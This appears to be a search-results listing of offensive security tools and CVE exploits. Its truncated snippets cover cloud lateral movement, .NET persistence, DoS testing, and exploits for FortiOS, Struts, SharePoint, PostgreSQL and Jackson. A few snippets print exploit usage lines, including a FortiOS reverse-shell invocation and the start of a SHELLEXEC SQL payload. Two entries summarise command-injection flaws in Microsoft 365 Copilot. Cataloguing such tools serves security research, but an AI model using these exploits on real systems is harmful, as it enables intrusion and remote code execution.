310228 matches found
domhttpx
domhttpx is a google search engine dorker with HTTP toolkit built with python, can make it easier for you to find many URLs/IPs at once with fast time. List Install Usage Flags Basic Usage One Keyword Multiple Keyword Extract Title Page Extract Title Page from Real Path Extract Status Code Extrac...
salt-security-backports
이전 버전용 공식 패치는 다음에서 요청할 수 있습니다: https://www.saltstack.com/lp/request-patch-april-2020/ ⚠ 여기의 패치는 커스텀이며 공식 패치와 다를 수 있습니다 ⚠ 지원되지 않는 salt 버전을 위한 백포트 보안 패치 이 저장소의 패치는 다음 CVE를 해결합니다: CVE-2020-11651 & CVE-2020-11652 - https://labs.f-secure.com/advisories/saltstack-authorization-bypass 또한 다음 버그 수정 사항을...
patchy
Patchy GCP OS 패치 관리를 악용한 자동화된 측면 이동 및 지속성 도구입니다. 기반: 블로그 포스트. Patchy는 두 가지 주요 모드측면 이동 및 지속성로 구성됩니다. 지속성 모드는 유효한 서비스 계정 자격 증명을 사용하여 패치 작업 또는 배포를 생성합니다. 측면 이동 모드는 프로젝트 내 모든 컴퓨트 인스턴스에 대한 액세스를 시도합니다. 사용하려면 메타데이터 API를 사용할 수 있는 GCP 환경 내에 있어야 합니다. 측면 이동 모드는 공격적인 시도 없이 익스플로잇 가능 여부를 확인할 수 있는 모드도 제공합니다환경이...
CVE-2019-9193byVulHub
CVE-2019-9193 - VulHub 관리자 권한을 이용한 PostgreSQL 임의 명령 실행 CVE-2019-9193 설명 PostgreSQL은 강력한 오픈소스 관계형 데이터베이스 관리 시스템입니다. 9.3부터 11까지의 버전에 존재하는 취약점으로 인해 관리자 또는 COPY TO/FROM PROGRAM 권한이 있는 사용자는 시스템에서 임의의 명령을 실행할 수 있습니다. 참고 자료: GitHub - Vulhub - PostgreSQL CVE-2019-9193 Greenwolf Security - Authenticated...
SharpStay
SharpStay - Постоянство на .NET Сборка Чтобы скомпилировать, откройте проект в Visual Studio и выполните сборку для релиза. Параметры Повышенные ключи реестра Повышенный ключ реестра UserInit Повышенная запланированная задача Повышенное создание службы Повышенная подписка на события WMI...
CVE-2023-25610
CVE-2023-25610 FortiOS 관리 인터페이스의 힙 메모리 언더플로우로 인한 원격 코드 실행. 범위 및 제한 1. Fortinet 6.x 2. TLSv1.3 기반, 다른 TLS 버전에서는 차이가 있을 수 있음 사용법 python3 cve-2022-42475.py rhost rport lhost 'command' root@kitploit: python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' 리스너 EXP는 포트 31337에서 파이썬 명령으로 리버스 셸을...
heimdall_webserver
ATTENTION, this project is on a beta version, there's a lot of bugs and problem, if you want to help the project use this on a lab not in yout real environment. NO, there's not https implemented yet, it will come on the next upgrade Heimdall It's a tool to manage vulnerables packages in your nix...
robodroid
RoboDroid RoboDroid는 Cyber Range 환경에서 Android 머신을 관리그리고 곧 배포까지하는 과정을 간소화하도록 설계된 최첨단 소프트웨어 도구입니다. RoboDroid를 사용하면 사용자는 Android 머신에 대해 미리 정의된 동작을 쉽게 설정하고 사용자 지정하여 복잡한 사이버 공격 시나리오를 만들고 다양한 위협에 대한 방어를 테스트할 수 있습니다. 📋 목차 📱 배경 ⚡ 개요 📚 작동 방식 Frida 에이전트와의 상호작용 🔌 설치 RoboDroid 라이브러리 ℹ️ 사용법 run 명령어 환경 변수...
Pentest-Bookmarkz
Pentest 북마크 목록 Sofiane Hamlaoui Google에서 더 확인: https://g.co/kgs/FUZgoXi 해커 미디어 블로그 펜테스팅 블로그는 많지만, 아래는 내가 실제 일상 테스트 작업에서 지속적으로 모니터링하고 가치를 두는 블로그들이다. Carnal 0wnage - atom McGrew Security GNUCITIZEN Darknet - The Darkside - rss spylogic - rss TaoSecurity - atom Room362 SIPVicious - rss...
WarChild
War Child Warchild는 웹사이트가 다양한 종류의 서비스 거부 공격주로 사기꾼들이 웹사이트에 피해를 입히기 위해 조직하는 공격에 대해 얼마나 강력한지 분석하기 위해 만들어진 서비스 거부 테스트 스위트입니다. 설치 root@kitploit: For Installing the required modules just run the following command in your terminal : pip install -r requirements.txt 사용 root@kitploit: python warchild.py 개요...
CVE-2020-17530
CVE-2020-17530 CVE-2020-17530에 대한 간단한 POC입니다. Apache Struts 버전 2.0.0 2.5.25에서 태그 속성의 원시 사용자 입력에 대해 강제로 OGNLObject Graph Navigational Language 평가를 수행하면 원격 코드 실행RCE이 발생할 수 있습니다. root@kitploit: $ python CVE-2020-17530.py --help usage: CVE-2020-17530.py -h -c COMMAND -n NAME -p PORT -t TARGET -u URI...
ibm-sterling-b2b-integrator-poc
IBM Sterling B2B Integrator PoC Proof of concept code for the exploitation of the vulnerabilities discovered against IBM Sterling B2B Integrator, versions 6.2.0.0 to 6.2.0.2, and 6.0.0.0 to 6.1.2.5 for Linux, Windows and AIX systems: LPE Command Injection - if authentication is disabled Pre-auth...
SecGen
개발은 http://github.com/cliffe/SecGen/로 이동했습니다. 이 저장소는 더 이상 유지 관리되지 않으며 작동하지 않을 가능성이 높습니다! 보안 시나리오 생성기 SecGen 요약 SecGen은 학생들이 보안 침투 테스트 기술을 배울 수 있도록 취약한 가상 머신을 생성합니다. Metasploitable2 같은 박스는 항상 동일합니다. 이 프로젝트는 Vagrant, Puppet, Ruby를 사용하여 학습 또는 CTF 이벤트 개최에 사용할 수 있는 무작위로 취약한 가상 머신을 생성합니다. 최신 버전은 다음에서 확...
sjet
siberas의 sJET siberas JMX 익스플로잇 툴킷 sJET는 안전하지 않게 구성된 JMX 서비스를 쉽게 익스플로잇할 수 있게 해줍니다. 추가 배경 정보는 여기와 여기에서 확인할 수 있습니다. 전제 조건 Jython 2.7 사용법 SJET는 CLI 인터페이스를 구현합니다 argparse 사용. root@kitploit: jython sjet.py targetHost targetPort password MODE modeOptions 여기서 targetHost - 대상 IP 주소 targerPort - JMX가 실행...
CVE-2025-53770
Divine Absolute - CVE-2025-53770 익스플로잇 도구 개요 Divine Absolute 는 CVE-2025-53770 을 표적으로 하는 정교한 위저드 기반 Python 익스플로잇 도구입니다. 이 취약점은 온프레미스 Microsoft SharePoint Server2016, 2019, Subscription Edition에서 발생하는 치명적인CVSS 9.8 인증되지 않은 원격 코드 실행RCE 취약점입니다. 2025년 7월 19일 제로데이로 공개된 이 취약점은 /layouts/15/ToolPane.aspx에서...
CVE-2019-12384
CVE-2019-12384 Jackson RCE 및 SSRF 0x01 python -m SimpleHTTPServer root@kitploit: python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql root@kitploit: CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd...
CVE-2026-85885
Improper neutralization of special elements used in a command 'command injection' in M365 Copilot allows an authorized attacker to elevate privileges over a network...
CVE-2026-78501
Improper neutralization of special elements used in a command 'command injection' in Microsoft 365 Copilot's Business Chat allows an unauthorized attacker to disclose information over a network...
CVE-2025-69600
CVE-2025-69600 저자: Rafael José Núñez Gulías 회사: Iberian Var Group 영향 받는 제품: RayVentory Scan Engine 12.6 Update 8 및 이전 버전 Raynet 권고: RSEC200966 Raynet의 rvia에서 명령 삽입Command Injection 취약점으로 인해 공격자가 getconfig, upload, inventory, oracle 옵션을 통해 명령을 실행할 수 있습니다. 검증은 /opt/rvia/rvia.cfg 설정 파일에서 URL을 가져올 때만...